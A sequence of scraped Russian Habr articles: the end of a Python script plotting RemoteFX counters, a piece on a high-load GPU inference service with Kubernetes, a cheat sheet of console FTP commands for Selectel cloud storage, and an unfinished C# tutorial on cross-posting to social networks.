{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': r'RemoteFX Network {0}\UDP Received Rate', 'desc': 'Сеть RemoteFX, Скорость приёма, UDP'},
{'n': 55, 'ysamescale': True, 'yscale': 1000, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Current UDP Bandwidth', 'desc': 'Сеть RemoteFX, Пропускная способность UDP-подключения'},
{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\TCP Sent Rate', 'desc': 'Сеть RemoteFX, Скорость передачи, TCP'},
{'n': 55, 'ysamescale': True, 'yscale': 1, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\TCP Received Rate', 'desc': 'Сеть RemoteFX, Скорость приёма, TCP'},
{'n': 55, 'ysamescale': True, 'yscale': 1000, 'yunit': 'bps', 'ydata': 'RemoteFX Network {0}\Current TCP Bandwidth', 'desc': 'Сеть RemoteFX, Пропускная способность TCP-подключения'},
]
fgs.sort(key=lambda counter: counter['n'])
null = [print(f"{el['n']:>2} {el['ysamescale']:<1} {el['yunit']:^5} {el['desc']:<64}") for el in fgs]
# Поиск и сохранение пределов по оси Y в fgs
y_lim_scale = 0.13 # коэффициент пределов по Y: рамки графика должны быть чуть шире, чтобы график не сливался с ними
# сведение всех замеров в одну таблицу для поиска max/min
alldf = pd.concat([t21, t22, t23, t31, t32, t33, t41, t42, t43], axis=1, join='inner')
print('debug: должно быть 3*3=9 значений', alldf['Memory\Available Bytes'].max(), sep='\n')
allusr = set([n for n in range(11) if 'User Input Delay per Session {0}\Max Input Delay'.format(n) in alldf.columns]) # все пользователи, которые встретились в замерах
print(f'\nпользователи: {allusr}\n')
for c in fgs:
# метрики сеанса
if '0' in c['ydata']:
c.setdefault('yMax', 0)
c.setdefault('yMin', 0)
for u in allusr:
if c['yMax'] < max(alldf[c['ydata'].format(u)].max()):
c['yMax'] = max(alldf[c['ydata'].format(u)].max())
if c['yMin'] > min(alldf[c['ydata'].format(u)].min()):
c['yMin'] = min(alldf[c['ydata'].format(u)].min())
# общая метрика
else:
c.setdefault('yMax', max(alldf[c['ydata']].max()))
c.setdefault('yMin', min(alldf[c['ydata']].min()))
if c['yMin'] == c['yMax']: # когда оба предела одинаковые, будет ошибка при установке ax.set_ylim(...)
c['yMin'] = -1
c['yMax'] = +1
# немного расширяем границы, чтобы линии графика были внутри границ, а не совпадали с верхом/низом
c['yMin'] = (c['yMin'] - c['yMin'] * y_lim_scale - 1) * c.setdefault('yscale', 1)
c['yMax'] = (c['yMax'] + c['yMax'] * y_lim_scale + 1) * c.setdefault('yscale', 1)
Null = [print(f"{c['yMin']:>20} {c['yMax']:>20}\t{c['ydata']}") for c in fgs] # debug: fgs теперь содержит верхний и нижний пределы для каждой метрики
# Построение графиков
title_tests = ['test #2 \n3D benchmark', 'test #3 \nplay 1080p video', 'test #4 \nplay 1080p youtube video']
for m in fgs: # сколько метрик, столько рисунков (диаграмм 3x3)
fig, axs = plt.subplots(3, 3, figsize=(15, 8), sharex='col', sharey='row') # диаграмма 3х3=9 графиков
# имя рисунка
fig.suptitle(f"Рис. {fgs.index(m) + 1:>2}. {m['desc']}", fontsize=14)
# фон рисунка белый вместо прозрачного
fig.patch.set_facecolor('white')
# подпись верхнего ряда количеством пользователей
[ax.set_title(f"{n} {'user' if n == 1 else 'users'}") for ax, n in zip(axs[0, :], range(1, 4))]
# подпись левой колонки названием теста
[ax.set(ylabel=title) for ax, title in zip(axs[:, 0], title_tests)]
# дубль шкалы в правую колонку
[ax.yaxis.set_tick_params(labelleft=False, labelright=True, which='major') for ax in axs[:, 2]]
# ряды графиков в диаграмме
for axrow, dfrow in zip(axs, dataframes):
# график в ряду
for ax, df in zip(axrow, dfrow):
# список пользователей, которые участвовали в текущем замере
usl = [n for n in range(11) if 'User Input Delay per Session {0}\Max Input Delay'.format(n) in df.columns]
# графики сессий
if '{0}' in m['ydata']:
# легенда текущего графика зависит от количества пользователей в замере
lgn = [f"user {u}, average {EngFormatter(places=0).format_eng(df[m['ydata'].format(u)].mean() * m.get('yscale', 1))}{m['yunit']}" for u in usl]
for u in usl:
ax.plot(df.index.values, df[m['ydata'].format(u)] * m.get('yscale', 1))
# общие графики
else:
ax.plot(df.index.values, df[m['ydata']] * m.get('yscale', 1))
avg = EngFormatter(places=0).format_eng(df[m['ydata']].mean() * m.get('yscale', 1))
lgn = [f"{len(usl)} {'user' if len(usl) == 1 else 'users'}, average {avg}{m['yunit']}"]
ax.legend(lgn, fontsize=8)
ax.set_xlim(0, 119) # метка '120' засоряла график
if m['ysamescale']:
ax.set_ylim(m['yMin'], m['yMax']) # единый масштаб оси Y для всех 9 графиков
ax.xaxis.set_tick_params(which='major', labelcolor='grey') # подписи к X-шкале
ax.yaxis.set_tick_params(which='major', labelcolor='grey') # подписи Y-шкале
ax.grid(axis='y') # горизонтальная сетка
ax.grid(axis='x') # вертикальная сетка
ax.xaxis.set_major_formatter(EngFormatter(unit='s')) # по X секунды
ax.yaxis.set_major_formatter(EngFormatter(unit=m['yunit'])) # по Y у каждого графика своя ед. изм.
fig.tight_layout()
```
Диагностические счётчикиUDP трафикTCP трафикСпасибо за внимание!
---
**Что ещё интересного есть в блоге**[**Cloud4Y**](https://www.cloud4y.ru/?utm_source=habr&utm_medium=referral&utm_campaign=article)
→ [Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым](https://habr.com/ru/company/cloud4y/blog/547164/)
→ [Пароль как крестраж: ещё один способ защитить свои учётные данные](https://habr.com/ru/company/cloud4y/blog/541348/)
→ [Тим Бернерс-Ли предлагает хранить персональные данные в подах](https://habr.com/ru/company/cloud4y/blog/539654/)
→ [Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi](https://habr.com/ru/company/cloud4y/blog/542000/)
→ [Создание группы доступности AlwaysON на основе кластера Failover](https://habr.com/ru/company/cloud4y/blog/538510/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу. | https://habr.com/ru/post/553132/ | null | ru | null |
# Высоконагруженный сервис для вычислений на GPU

Привет, Хабр! Я руковожу разработкой платформы [Vision](https://biz.mail.ru/vision/) — это наша публичная платформа, которая предоставляет доступ к моделям компьютерного зрения и позволяет вам решать такие задачи, как распознавание лиц, номеров, объектов и целых сцен. И сегодня хочу на примере Vision рассказать, как реализовать быстрый высоконагруженный сервис, использующий видеокарты, как его разворачивать и эксплуатировать.
Что такое Vision?
=================
По сути, это REST API. Пользователь формирует HTTP-запрос c фотографией и отправляет на сервер.
Допустим, нужно на снимке распознать лицо. Система его находит, вырезает, извлекает из лица какие-то свойства, сохраняет в базе и присваивает некий условный номер. Например, person42. Затем пользователь загружает следующую фотографию, на которой есть тот же самый человек. Система извлекает из его лица свойства, ищет по базе и возвращает условный номер, который был присвоен персоне изначально, т.е. person42.
Сегодня основные пользователи Vision — это различные проекты Mail.ru Group. Больше всего запросов приходит от Почты и Облака.

В Облаке у пользователей есть папки, в которые загружаются фотографии. Облако прогоняет файлы через Vision и группирует их по категориям. После этого пользователь может удобно листать свои фотографии. Например, когда хочется показать фотографии друзьям или родным, можно быстро найти нужные.
И Почта, и Облако — это очень крупные сервисы с многомиллионными аудиториями, поэтому Vision обрабатывает сотни тысяч запросов в минуту. То есть это классический высоконагруженный сервис, но с изюминкой: в нём есть и nginx, и веб-сервер, и база данных, и очереди, но на самом нижнем уровне этого сервиса находится inference — прогон изображений через нейронные сети. Именно прогон нейронных сетей занимает большую часть времени и требует ресурсов. Вычисление сетей состоит из последовательности матричных операций, которые на CPU выполняются обычно долго, зато отлично распараллеливаются на GPU. Для эффективного прогона сетей у нас используется кластер серверов с видеокартами.
В этой статье я хочу поделиться набором советов, которые могут быть полезны при создании подобного сервиса.
Разработка сервиса
==================
### Время обработки одного запроса
Для системы с большой нагрузкой важное значение имеет время обработки одного запроса и пропускная способность системы. Высокая скорость обработки запросов обеспечивается, в первую очередь, правильным подбором архитектуры нейронной сети. В ML, как и в любых других задачах программирования, одни и те же задачи можно решать разными способами. Возьмём детектирование лиц: для решения этой задачи мы сначала взяли нейросети с архитектурой R-FCN. Они показывают достаточно высокое качество, но занимали порядка 40 мс на одном изображении, что нас не устраивало.Тогда мы обратились к архитектуре MTCNN и получили двукратный прирост скорости с незначительной потерей качества.
Иногда для оптимизации времени вычисления нейронных сетей бывает выгодно в проде осуществлять inference в другом фреймворке, не в том, котором проводилось обучение. Например, иногда имеет смысл конвертировать свою модель в NVIDIA TensorRT. Он применяет ряд оптимизаций и особенно хорош на достаточно сложных моделях. Например, он может каким-то образом переставить некоторые слои, объединить и даже выкинуть; результат при этом не изменится, а скорость вычисления inference возрастёт. Также TensorRT позволяет лучше управлять памятью и может после некоторых ухищрений сводить к вычислениям чисел с меньшей точностью, что тоже повышает скорость вычисления inference.
### Загрузка видеокарты
Inference сети у нас осуществляется на GPU, видеокарта являются самой дорогой частью сервера, поэтому важно максимально эффективно ее использовать. Как понять, полностью мы загрузили GPU или можно увеличить нагрузку? На этот вопрос можно ответить, например, с помощью параметра GPU Utilization, в утилите nvidia-smi из стандартного пакета видеодрайвера. Данная цифра конечно не показывает сколько CUDA-ядер непосредственно загружено у видеокарты, а сколько простаивают, но она позволяет как-то оценить загрузку GPU. По опыту можно сказать, что хорошей является загрузка на 80-90 %. Если она загружена на 10-20 %, то это плохо, и потенциал ещё есть.
Важное следствие из этого наблюдения: нужно стараться организовать систему так, чтобы максимально загружать видеокарты. Кроме того, если у вас есть 10 видеокарт, каждая из которых загружена на 10-20 %, то, скорее всего, ту же самую задачу могут решить две видеокарты с высокой загрузкой.
### Пропускная способность системы
Когда вы подаете картинку на вход нейросети, то обработка картинки сводится к разнообразным матричным операциям. Видеокарта — многоядерная система, а картинки на вход мы обычно подаем небольшого размера. Допустим, на нашей видеокарте 1 000 ядер, а картинки у нас 250 х 250 пикселей. По одиночке они не смогут загрузить все ядра из-за своего скромного размера. И если мы будем подавать такие картинки в модель по одной, то загрузка видеокарты не будет превышать 25 %.

Поэтому нужно загружать в inference сразу несколько картинок и формировать из них batch.

В этом случае загрузка видеокарты поднимается до 95 %, а вычисление inference займет время как для одной картинки.
А что делать, если в очереди нет 10 картинок, чтобы мы могли их объединить в батч? Можно немного подождать, например, 50-100 мс в надежде на то, что запросы придут. Эта стратегия носит название fix latency strategy (стратегия фиксированной задержки). Она позволяет объединять запросы от клиентов во внутреннем буфере. В итоге мы увеличиваем нашу задержку на некоторую фиксированную величину, но значительно увеличиваем пропускную способность системы.
### Запуск inference
Модели мы обучаем на изображениях фиксированного формата и размера (например, 200 х 200 пикселей), но сервис должен поддерживать возможность загружать различные картинки. Поэтому все изображения прежде чем подавать на inference, нужно правильно подготовить (отресайзить, центрировать, нормировать, перевести во float и т.д.). Если все эти операции будут выполняться в процессе, который запускает inference, то его рабочий цикл будет выглядеть примерно так:

Какое-то время он тратит в процессоре, подготавливая входные данные, какое-то время ждет ответа от GPU. Лучше максимально уменьшить промежутки между inference, чтобы GPU меньше простаивала.

Для этого можно завести ещё один поток, или передать подготовку изображений другим серверам, без видеокарт, но с мощными процессорами.
Процесс, отвечающий за inference, по возможности должен заниматься только им: обращаться к общей памяти, забирать входные данные, сразу копировать их в память видеокарты и запускать inference.
### Turbo Boost
Запуск нейросетей — операция, затратная по ресурсам не только GPU, но и процессора. Даже если у вас всё будет правильно организовано с точки зрения пропускной способности, и поток, который выполняет inference, уже ждет новых данных, на слабом процессоре вы просто не будете успевать насыщать этот поток новыми данными.
Многие процессоры поддерживают технологию Turbo Boost. Она позволяет увеличивать частоту работы процессора, однако не всегда включена по умолчанию. Стоит это проверить. Для этого в Linux есть утилита CPU Power: `$ cpupower frequency-info -m`.

Также у процессоров настраивается режим энергопотребления, его можно узнать такой командой CPU Power: `performance`.

В режиме powersave процессор может тротлить свою частоту и работать медленнее. Стоит зайти в BIOS и выбрать режим performance. Тогда процессор будет всё время работать на максимальной частоте.
Развёртывание приложения
========================
Для развертывания приложения отлично подходит Docker, он позволяет запускать приложения на GPU внутри контейнера. Чтобы получить доступ к видеокартам, для начала вам понадобится установить драйвера для видеокарты на хост-систему — физический сервер. Затем, чтобы запустить контейнер, нужно проделать много ручной работы: правильно прокинуть видеокарты внутрь контейнера с правильно подобранными параметрами. После запуска контейнера еще необходимо будет внутри него установить видеодрайверы. И только после этого вы сможете пользоваться вашим приложением.

У этого подхода есть один нюанс. Серверы могут пропадать из кластера и добавляться. Возможна ситуация, когда на разных серверах будут разные версии драйверов, и они будут отличаться от версии, которая ставится внутри контейнера. В этом случае простой Docker сломается: приложение при попытке доступа к видеокарте получит ошибку driver version mismatch.

Как с этим бороться? Существует версия Docker от NVIDIA, благодаря которой пользоваться контейнером становится проще и приятнее. По заверениям самой NVIDIA и по практическим наблюдениям, накладные расходы на использование nvidia-docker около 1 %.
В этом случае драйвера нужно ставить только на хост-машину. При запуске контейнера, ничего прокидывать во внутрь не надо, и у приложения сразу появится доступ к видеокартам.

«Независимость» nvidia-docker от драйверов позволяет запускать контейнер из одного и того же образа на разных машинах, на которых установлены разные версии драйверов. Как это реализовано? В Docker есть такое понятие, как docker-runtime: это набор стандартов, который описывает, как контейнер должен общаться с ядром хостовой машины, как он должен запускаться и останавливаться, как взаимодействовать с ядром и драйвером. Начиная с определенной версии Docker есть возможность подменять этот runtime. Это и сделали в NVIDIA: они подменяют рантайм, ловят внутри обращения к видеодрайверу и преобразуют в обращения к видеодрайверу правильной версии.
Оркестрация
===========
В качестве оркестратора мы выбрали Kubernetes. Он поддерживает много очень хороших функций, которые полезны для любой высоконагруженной системы. Например, autodiscovering позволяет сервисам обращаться друг к другу внутри кластера без сложных правил роутинга. Или fault tolerance — когда Kubernetes всегда держит наготове несколько контейнеров, и если с вашим что-то случилось, то Kubernetes тут же запустит новый контейнер.
Если у вас есть уже настроенный Kubernetes-кластер, то вам нужно не так много, чтобы начать использовать видеокарты внутри кластера:
* относительно свежие драйверы
* установленный nvidia-docker версии 2
* docker runtime выставленный по умолчанию в `nvidia` в файле /etc/docker/daemon.json:
`"default-runtime": "nvidia"`
* Установленный плагин `kubectl create -f https://githubusercontent.com/k8s-device-plugin/v1.12/plugin.yml`
После того, как вы сконфигурировали свой кластер и установили device плагин, можете в качестве ресурса указывать видеокарту.

На что это влияет? Допустим, у нас есть две ноды, физические машины. На одной есть видеокарта, на другой нет. Kubernetes обнаружит машину с видеокартой и поднимет наш pod именно на ней.
Важно заметить, Kubernetes не умеет грамотно шарить видеокарту между подами. Если у вас имеется 4 видеокарты, и вам для запуска контейнера требуется 1 GPU, то вы сможете поднять не более 4 подов на вашем кластере.
Мы берем за правило 1 Pod = 1 Модель = 1 GPU.
Есть вариант запускать на 4 видеокартах больше инстансов, но мы не будем рассматривать его в этой статье, так как этот вариант не идет из коробки.
Если на проде должно крутиться сразу несколько моделей, удобно под каждую модель создать Deployment в Kubernetes. В его конфигурационном файле можно прописать количество подов под каждую модель, с учетом популярности модели. Если на модель приходит много запросов, то под нее соответственно нужно указать много подов, если мало запросов — мало подов. Суммарно количество подов должно равняться количеству видеокарт в кластере.
Рассмотрим интересный момент. Допустим у нас есть 4 видеокарты и 3 модели.

На двух первых видеокартах пусть поднимется inference модели распознавания лиц, еще на одной распознавание объектов и на другой распознавание автомобильных номеров.
Вы работаете, клиенты приходят и уходят, и однажды, например ночью, возникает ситуация, когда видеокарта с inference объектов просто не загружена, на неё приходит мизерное количество запросов, а видеокарты с распознаванием лиц перегружены. Хотелось бы потушить в этот момент модель с объектами и на ее месте запустить лица, чтобы разгрузить очереди.
Для автоматического масштабирования моделей по видеокартам существуют инструменты внутри Kubernetes — горизонтальное автомасштабирование подов (HPA, horizontal pod autoscaler).
Из коробки Kubernetes поддерживает автомасштабирование по загрузке процессора. Но в задаче с видеокартами будет гораздо разумнее для масштабирования использовать информацию о количестве задач к каждой модели.
Мы делаем так: складываем запросы к каждой модели в очередь. Когда запросы выполнены, мы их из этой очереди удаляем. Если мы успеваем быстро обрабатывать запросы к популярным моделям, то очередь не растет. Если же количество запросов к конкретной модели вдруг увеличивается, то очередь начинает расти. Становится понятно, что нужно добавлять видеокарты, которые будут помогать разгребать очередь.
Информацию об очередях мы прокидываем в HPA через Prometheus:

И затем делаем в кластере автомасштабирование моделей по видеокартам в зависимости от количества запросов к ним.
### CI/CD
После того, как вы контейнировали приложение и завернули его в Kubernetes, вам остается буквально один шаг до вершины развития проекта. Можно добавить CI/CD, вот пример из нашего конвейера:

Здесь программист запушил новый код в мастер-ветку, после чего автоматически собирается Docker-образ с нашими демонами бэкендов, и прогоняются тесты. Если все галочки зеленые, то приложение заливается в тестовую среду. Если и в ней не будет никаких проблем, то далее можно без затруднений отправлять образ в эксплуатацию.
Заключение
==========
В своей статье я затронул некоторые аспекты работы высоконагруженного сервиса, использующего GPU. Мы поговорили о способах уменьшения времени отклика сервиса, таких как:
* подбор оптимальной архитектуры нейросети для уменьшения latency;
* применения оптимизирующих фреймворков наподобие TensorRT.
Затронули вопросы увеличения пропускной способности:
* использование батчинга картинок;
* применение fix latency strategy, чтобы количество запусков inference уменьшалось, но каждый inference обрабатывал бы большее число картинок;
* оптимизация data input pipeline с целью минимизации простоев GPU;
* «борьба» с тротлингом процессора, вынос cpu-bound операций на другие серверы.
Взглянули на процесс развертывания приложения с GPU:
* использование nvidia-docker внутри Kubernetes;
* масштабирование на основе количества запросов и HPA (horizontal pod autoscaler). | https://habr.com/ru/post/472928/ | null | ru | null |
# Облачное хранилище и консольные FTP-клиенты

Об особенностях работы с нашим хранилищем по FTP [мы уже писали](http://blog.selectel.ru/oblachnoe-xranilishhe-dostup-po-ftp/). Сегодня мы затронем более узкую и специальную тему и обсудим особенности работы с хранилищем с помощью консольных FTP-клиентов, довольно часто используемых для организации резервного копирования и архивирования.
Все эти клиенты отличаются своеобразным и довольно сложным синтаксисом команд. Чтобы наши пользователи не испытывали трудностей и не тратили время на поиск по мануалам при написании соответствующих скриптов, мы решили составить небольшую шпаргалку с примерами команд для выполнения наиболее распространенных операций:
* загрузки файлов в хранилище;
* скачивания файлов с возможностью возобновления при отмене или обрыве соединения;
* синхронизации локальных файлов с файлами в хранилище и наоборот.
#### LFTP
Загрузка одного файла в хранилище:
```
$ lftp -e 'cd /container/; put /path/to/local/file; bye' -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
(здесь и далее вместо xxxx\_ftp указываем имя пользователя, вместо PasSw0rD — свой пароль, containter — имя контейнера; вместо /path/to/local/file — путь к файлу на локальной машине).
Загрузка папки со всеми файлами в ней:
```
$ lftp -e 'mirror -R /path/to/local/dir/ /container/; bye' -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
(здесь и далее вместо /path/to/local/dir/ указываем путь к папке на локальной машине).
При повторном выполнении операции загрузки файлов осуществляется синхронизация содержимого контейнера и соответствующей папки на локальной машине: в хранилище будут загружены только файлы, которые отсутствовали на момент предыдущей загрузки.
С помощью опции **—delete** можно удалять из хранилища файлы, которых уже нет на локальной машине. Она может быть полезна для очистки хранилища от файлов, утративших свою актуальность.
```
$ lftp -e 'mirror --delete -R /path/to/local/dir/ /container/; bye' -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
Скачивание одного файла из хранилища на локальную машину:
```
$ lftp -e 'get /container/file -o to-dir/; bye' -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
Возобновление скачивания (например, в случае, если произошел разрыв соединения или операция загрузки была прервана):
```
$ lftp -e 'get -c /container/file -o to-dir/; bye' -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
Скачивание из хранилища папки со всем содержимым:
```
$ lftp -e 'mirror /container/ to-dir/; bye' -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
Опция **-P** для предыдущей команды позволяет выполнить скачивание в несколько потоков, что может ускорить всю операцию в целом:
```
$ lftp -e 'mirror -P 10 /container/ to-dir/; bye' -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
Все рассмотренные команды можно выполнять в интерактивном режиме. Вход в интерактивный режим осуществляется с помощью команды:
```
$ lftp -u xxxx_ftp,PasSw0rD ftp.selcdn.ru
```
#### NCFTP
Загрузка одного файла в хранилище:
```
$ ncftpput -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru /container/ /path/to/local/file
```
NCFTP поддерживает автоматическое повторение операции в случае возникновения ошибок при ее выполнении; для этого нужно использовать опцию **-r**:
```
# повторять попытку 5 раз
$ ncftpput -r 5 -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru /container/ /path/to/local/file
```
Загрузка папки со всеми файлами в ней:
```
$ ncftpput -R -r 5 -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru /container/ /path/to/local/dir/
```
Синхронизация локальных файлов с хранилищем:
```
$ ncftpput -z -R -r 5 -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru /container/ /path/to/local/dir/
```
Скачивание из хранилища одного файла:
```
$ ncftpget -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru to-dir/ /container/file
```
Возобновление скачивания, опция **-z**:
```
$ ncftpget -z -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru to-dir /container/file
```
Загрузка на локальную машину папки с файлами:
```
$ ncftpget -R -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru to-dir/ /container/dir/
# докачать
$ ncftpget -R -z -u xxxx_ftp -p PasSw0rD ftp.selcdn.ru to-dir /container/dir/
```
#### Wget
Скачивание одного файла на локальную машину:
```
# файл будет загружен в текущую папку
$ wget ftp://xxxx_ftp:PasSw0rD@ftp.selcdn.ru/container/file
# возобновление скачивания
$ wget -с ftp://xxxx_ftp:PasSw0rD@ftp.selcdn.ru/container/file
```
Скачать на локальную машину папки с файлами:
```
$ wget -r ftp://xxxx_ftp:PasSw0rD@ftp.selcdn.ru/container/dir/
# докачать недостающие файлы
$ wget -r -с ftp://xxxx_ftp:PasSw0rD@ftp.selcdn.ru/container/dir/
```
#### cURL
Загрузка одного файла в хранилище:
```
$ curl ftp://ftp.selcdn.ru/container/ --user xxxx_ftp:PasSw0rD -T /path/to/local/file
```
Скачивание файла на локальную машину:
```
# обязательно нужно указать имя файла для сохранения (опция -o)
$ curl ftp://ftp.selcdn.ru/container/file --user xxxx_ftp:PasSw0rD -o file
```
#### Поддержка протокола SFTP
Теперь наше хранилище поддерживает и доступ по протоколу SFTP — пока что в режиме тестирования.
Приглашаем всех заинтересованных читателей попробовать новую возможность. Для подключения нужно указывать хост **sftp.selcdn.ru**. Обо всех ошибках и проблемах с доступом по SFTP обязательно сообщайте нам. Все замечания и предложения по улучшению сервиса обязательно примем к сведению.
Читателей, не имеющих возможности комментировать посты на Хабре, приглашаем к нам в [блог](http://slc.tl/r5cau). | https://habr.com/ru/post/213945/ | null | ru | null |
# Кросспостинг в twitter, facebook, livejournal, vkontakte

Когда я писал проект [crafthunters.com](http://crafthunters.com), я заметил что для раскрутки клиенты используют социальные сети. Пользовались виджетами и лайками, но по хорошему надо было попадать в ленту новостей. Кроме того, популярный вконтакте вывел новости на главную страницу в сентябре. Т.е. для распространения контента надо было адаптировать standalone блог для представления в социальных сетях, используя простую истину: попасть в ленту новостей популярных социальных сетей. Вначале это происходило вручную и приносило более половины траффика. Потом пришла идея это всё автоматизировать.
Популярными социальными сетями у нас были:
* facebook
* вконтакте
* livejournal
* твиттер
Предстояло настроить автоматический кросспостинг в каждую из социальных сетей, который до этого вели вручную. Нужно еще уточнить, что размещать записи в социальных сетях необходимо было не у себя на стене\бложике, а в группе\сообществе.
Далее я хочу представить реализацию кросспостинга под эти четыре социальные сети для asp.net mvc.
0. Основные принципы.
=====================
Перво-наперво необходимо получить права и сохранить их в базе данных для последующего использования. Вторым шагом было установка в какую группу\сообщество будет добавляться контент (задача по сути только для вконтакта). Третьим шагом было создание записи в группе\сообществе с активной ссылкой на оригинальный пост.
Для твиттера, фейсбука и вконтакте используется API на основе OAuth и для работы с ними надо было зарегистировать приложение в каждой социальной сети для этих целей.
Чтобы не повторяться, я сразу расскажу как происходит работа c OAuth (для twitter xAuth). Вначале мы передаем id приложения и список прав, которые хотим получить. Список прав — это к каким ресурсам мы разрешаем доступ нашего приложения. Выглядит это так:

После разрешения, мы получаем код по которому получаем токен доступа. К каждому обращению на сервер мы передаем этот токен и тем самым провайдер услуг (вконтакте, фейсбук и твиттер) знают что нам можно доверять и разрешают совершить действие (в нашем случае — кросспостинг).
1. Livejournal
==============
ЖЖ уже давно используется для кросспостинга и делает он это через XML-RPC команды.
Почитав документацию (<http://www.livejournal.com/doc/server/ljp.csp.xml-rpc.protocol.html>) использовав библиотеку для .net xml-rpc (<http://www.xml-rpc.net/>) я приступил к реализации.
Создаем интерфейс взаимодействия:
```
public interface ILj : IXmlRpcProxy
{
[XmlRpcMethod("LJ.XMLRPC.login")]
LjUserInfo Login(UserPassword user);
XmlRpcMethod("LJ.XMLRPC.postevent")]
PostLjAnswer Post(PostLj post);
}
```
### Получение доступа
Логин и пароль передаются в открытом виде и передаются по протоколу веб-сервиса. Создаем класс для получения прав.
```
public class UserPassword
{
[JsonProperty("username")]
public string username { get; set; }
[JsonProperty("password")]
public string password { get; set; }
public int ver {
get {
return 1;
}
}
}
```
При каждой публикации логин и пароль также передаются, так что метод Login по сути только проверяет правильность пары логин\пароль.
### Проверка доступа.
```
public LjUserInfo Auth(UserPassword username)
{
ILj proxy = XmlRpcProxyGen.Create();
var ans = proxy.Login(username);
return ans;
}
```
Ответ ans мы анализируем на положительный ответ иначе выдаем ошибку.
Добавление записи столь же тривиально:
```
public void Publish(UserPassword username, Post message, string ljgroup = null)
{
ILj proxy = XmlRpcProxyGen.Create();
var post = new PostLj();
post.username = username.username;
post.password = username.password;
post.ver = 1;
post.@event = message.Content;
post.subject = message.Title;
post.lineendings = "pc";
post.year = DateTime.Now.Year;
post.mon = DateTime.Now.Month;
post.day = DateTime.Now.Day;
post.hour = DateTime.Now.Hour;
post.min = DateTime.Now.Minute;
if (!string.IsNullOrWhiteSpace(ljgroup)) {
post.usejournal = ljgroup;
} else {
post.usejournal = username.username;
}
var ans = proxy.Post(post);
}
```
Собственно всё очень просто. Конечно, есть очень много дополнительных опций и библиотека достаточно обширна, но задача — добавить наш пост в ЖЖ — решается легко.
Что не понравилось — передача пароля в открытом виде или в md5 по незащищеному каналу.
2. Твиттер
==========
Для твиттера я использовал популярную библиотеку [www.twitterizer.net](http://www.twitterizer.net/) но для начала надо было зарегистрировать приложение по адресу: [dev.twitter.com/apps](https://dev.twitter.com/apps).
Права которые будет запрашивать приложение — как на чтение так и на запись. Кроме всего прочего, приложение получает бесконечный по сроку истечения токен для использования. Этот токен необходимо сохранить в БД. (Таблица Social.JsonResource)
Получение прав присходит по следующему сценарию:
```
public string Authorize(string redirectTo)
{
OAuthTokenResponse requestToken = OAuthUtility.GetRequestToken(Config.twitterConsumerKey, Config.twitterConsumerSecret, redirectTo);
// Direct or instruct the user to the following address:
Uri authorizationUri = OAuthUtility.BuildAuthorizationUri(requestToken.Token);
return authorizationUri.ToString();
}
```
Мы передаем два ключа (ключ приложения и секретный ключ), и переходим на страницу твиттера для подтверждения прав. Твиттер запрашивает права и возвращает нас по адресу redirectTo куда дополнительно передает код. По этому коду мы получаем токен доступа. Далее мы обновляем статус (создаем короткое сообщение) через приложение:
```
public void Publish(Post post)
{
var tokens = new OAuthTokens();
tokens.ConsumerKey = Config.twitterConsumerKey;
tokens.ConsumerSecret = Config.twitterConsumerSecret;
tokens.AccessToken = twitterAccessToken.Token;
tokens.AccessTokenSecret = twitterAccessToken.TokenSecret;
TwitterStatus.Update(tokens, post.TwitterText);
}
```
3. Facebook
===========
Регистрируем приложение по адресу: [developers.facebook.com/apps](https://developers.facebook.com/apps)
Получаем токен доступа. Вначале отправляем для получения разрешения прав:
```
public string Authorize(string redirectTo)
{
return string.Format(AuthorizeUri, Config.AppId, redirectTo);
}
public ActionResult GetFbCode()
{
var fbSocial = currentUser.Socials.Where(p => p.Provider == "facebook").FirstOrDefault();
if (fbSocial != null) {
return RedirectToAction("Index");
} else {
return Redirect(fbProvider.Authorize("http://" + HostName + "/Social/SaveFbCode"));
}
}
```
Обрабатываем код для получения токена доступа:
```
public ActionResult SaveFbCode()
{
if (Request.Params.AllKeys.Contains("code")) {
var code = Request.Params["code"];
if (ProcessFbCode(code))
{
return RedirectToAction("Index");
}
}
return View("CantInitialize");
}
protected bool ProcessFbCode(string code) {
if (fbProvider.GetAccessToken(code, "http://" + HostName + "/Social/SaveFbCode"))
{
var jObj = fbProvider.GetUserInfo();
var fbUserInfo = JsonConvert.DeserializeObject(jObj.ToString());
var fbAccess = new FbAccessToken()
{
AccessToken = fbProvider.AccessToken
};
var jsonFbAccess = JsonConvert.SerializeObject(fbAccess);
var fbSocial = currentUser.Socials.Where(p => p.Provider == "facebook").FirstOrDefault();
if (fbSocial == null)
{
fbSocial = new Models.Social()
{
UserID = currentUser.ID,
JsonResource = jsonFbAccess.ToString(),
Provider = "facebook",
UserInfo = jObj.ToString()
};
repository.CreateSocial(fbSocial);
}
else
{
fbSocial.UserInfo = jObj.ToString();
repository.UpdateSocial(fbSocial);
}
return true;
}
return false;
}
```
Тут важная деталь при получении бессрочного токена доступа мы в параметре запроса параметров должны запросить &scope=...,offline тем самым избавив себя запрашивать этот токен постоянно, но для большей секретности этот фрагмент можно переделать и для использования токена с истекаемым сроком годности.
### Создание поста
```
public ActionResult CrossPostFb(int id)
{
var post = repository.Posts.Where(p => p.ID == id).FirstOrDefault();
var fbSocial = currentUser.SocialGetByProvider("facebook");
if (post != null && post.UserID == currentUser.ID && fbSocial != null)
{
var postSocial = new Social.Post();
